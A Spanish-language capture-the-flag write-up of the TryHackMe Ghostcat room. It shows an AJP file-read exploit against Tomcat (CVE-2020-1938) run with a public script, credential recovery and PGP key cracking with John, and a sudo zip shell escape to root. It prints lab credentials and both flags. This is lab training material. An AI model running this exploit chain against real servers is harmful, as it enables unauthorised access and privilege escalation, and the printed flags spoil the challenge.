En esta habitación se nos propone accede a una máquina usando una vulnerabilidad reciente. Las etiquetas ya nos chivan que es la: CVE-2020-1938, una vulnerabiliad de Tomcat que al parecer no requiere autenticación para ser explotada.

Solo nos pide bandera de usuario y administrador. Lo primero, como siempre, es escanear.

rustscan -a IP_Objetivo -- -A

Están abiertos los puertos 22 ssh, 53 tcpwrapped, 8009 Apache Jserv y 8080 Apache Tomcat. Visitando esa dirección y puerto últimos vemos la página de Tomcat 9.0.30.

Nada especial en el código fuente.

TCPwrapped

Un comentario sobre tcpwrapped. Se refiere a tcpwrapper, un programa de control de acceso a la red basado en hosts y que se usa en Unix y Linux. Cuando Nmap etiqueta un puerto con tcpwrapped significa que el comportamiento del puerto es consistente con el de uno protegido por tcpwrapper.

Específicamente, significa que se ha completado un saludo TCP completo, pero el host remoto ha cerrado la conexión sin recibir datos.

Es importante notar que tcpwrapper protege programas, no puertos. Esto significa que una respuesta válida tcpwrapped indica un servicio de red disponible, pero no estás en la lista de hosts que tienen permitido hablar con él, ya que eso es lo que hace tcpwrapper, restringir según hosts que tratan de acceder.

CVE-2020-1938 y Tomcat

Investiguemos este CVE (Common Vulnerabilities and Exposures).

Esta es, al parecer nuestra puerta de entrada y una vulnerabilidad de inclusión/lectura de archivo en el conector AJP (Apache Jserv Protocol) de Apache Tomcat. Esto está habilitado, por defecto, en el puerto 8009.

Un atacante, remoto y sin autenticar, puede explotar esta vulnerabilidad para leer archivos de la aplicación web de un servidor vulnerable.

En instancias en las que el servidor vulnerable admite subidas de archivos, un atacante puede subir páginas Java Server (JSP) maliciosas dentro de una variedad de tipos de archivos y disparar esta vulnerabilidad para ganar ejecución remota de código (RCE).

Ganando acceso

Una vez tenemos claro que la vulnerabilidad existe, nos vamos a este script en Github que permite explotarla y clonamos:

git clone https://github.com/00theway/Ghostcat-CNVD-2020-10487.git

Examinamos un poco la ayuda ejecutando con la opción -h y lo primero es ver si el archivo /WEB-INF/web.xml es legible, para eso:

python3 ajpShooter.py http://IP_Objetivo:8080 8009 /WEB-INF/web.xml read

Vamos con los parámetros que pasamos:

  • La dirección de Tomcat es lo primero, no hay más misterio.
  • Lo segundo es el puerto ajp según la ayuda del programa, que Nmap nos ha detectado que es el 8009.
  • Lo tercero es el archivo que queremos comprobar.
  • read significa que queremos leerlo.

Como podemos ver al final de la respuesta, hay unas credenciales.

AJP Shooter contra Tomcat

Estas son:

skyfuck:8730281lkjlkjdqlksalks

Veamos si podemos acceder por ssh con ellas:

ssh skyfuck@IP_Objetivo

Y sí podemos. En el directorio en el que aterrizamos hay dos archivos, credential.pgp y tryhackme.asc.

Con un:

find / -type f -iname "user.txt" 2>/dev/null

Encontramos que user.txt está en /home/merlin/user.txt, pero tiene permiso de lectura por todos, así que he ahí la primera bandera que me proporciona una racha de 150 días seguidos en Tryhackme cuando la pongo. 5 meses y me da la impresión de que sé menos que al principio por todo lo que ignoro.

THM{GhostCat_1s_so_cr4sy}

Veo que el usuario actual no puede ejecutar sudo, así que, probablemente, voy a tener que saltar de usuario de todos modos y parece inevitable pasar por Merlin.

Primero nos traemos los archivos del directorio, para eso, monto servidor web en ese directorio y descargo a mi máquina con wget.

python3 -m http.server 9000 # En la máquina atacante
wget http://IP_Objetivo:9000/credential.pgp # En mi máquina

El primer paso es convertir el archivo asc en algo que John pueda entender y romper, cosa que hacemos con la utilidad gpg2john, de modo que hacemos:

gpg2john tryhackme.asc > tryhackme.txt
john tryhackme.txt --wordlist=/usr/share/wordlists/rockyou.txt

Y obtenemos una contraseña que es alexandru. Así que vamos a desencriptar el archivo pgp.

Primero importamos el archivo .asc y luego desencripto el .pgp, sin importar el .asc no puedo.

gpg --import tryhackme.asc # Ponemos contraseña
gpg -d credential.php # Ponemos contraseña

Nos da otras credenciales:

merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j

Esa contraseña es tal cual, tenemos éxito con ella cuando hacemos un cambio de usuario:

su merlin

Escalada de privilegios

Nos toca escalar privilegios y con sudo -l veo que puedo ejecutar /usr/bin/zip como administrador.

De ahí, nos vamos a gtfobins para ver cómo explotar zip con sudo y copiamos las instrucciones:

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'

Así podemos leer la bandera de administrador que hay en el directorio /root:

THM{Z1P_1S_FAKE}